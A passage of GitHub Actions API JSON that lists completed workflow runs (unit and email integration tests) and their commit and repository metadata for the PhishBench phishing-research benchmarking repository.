Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2803038557,"name":"Email Integration Test","node_id":"WFR_kwLOCLXpC86nEvld","head_branch":"docs","head_sha":"5e646352489323f9c60471f79ae29fc0fb4be37c","path":".github/workflows/Email_Integration_Test.yml","display_title":"Update docs (#332)","run_number":102,"event":"push","status":"completed","conclusion":"success","workflow_id":12794727,"check_suite_id":7681724841,"check_suite_node_id":"CS_kwDOCLXpC88AAAAByd3RqQ","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038557","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2803038557","pull_requests":[],"created_at":"2022-08-05T10:42:51Z","updated_at":"2022-08-05T11:06:01Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T10:42:51Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038557/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038557/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7681724841","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038557/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038557/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038557/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/12794727","head_commit":{"id":"5e646352489323f9c60471f79ae29fc0fb4be37c","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs (#332)","timestamp":"2022-08-05T10:13:51Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2803038556,"name":"Unit Test","node_id":"WFR_kwLOCLXpC86nEvlc","head_branch":"docs","head_sha":"5e646352489323f9c60471f79ae29fc0fb4be37c","path":".github/workflows/Unit_Test.yml","display_title":"Update docs (#332)","run_number":243,"event":"push","status":"completed","conclusion":"success","workflow_id":4477711,"check_suite_id":7681724843,"check_suite_node_id":"CS_kwDOCLXpC88AAAAByd3Rqw","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038556","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2803038556","pull_requests":[],"created_at":"2022-08-05T10:42:51Z","updated_at":"2022-08-05T10:48:48Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T10:42:51Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038556/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038556/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7681724843","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038556/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038556/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038556/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/4477711","head_commit":{"id":"5e646352489323f9c60471f79ae29fc0fb4be37c","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs (#332)","timestamp":"2022-08-05T10:13:51Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802890691,"name":"Unit Test","node_id":"WFR_kwLOCLXpC86nELfD","head_branch":"master","head_sha":"5e646352489323f9c60471f79ae29fc0fb4be37c","path":".github/workflows/Unit_Test.yml","display_title":"Update docs 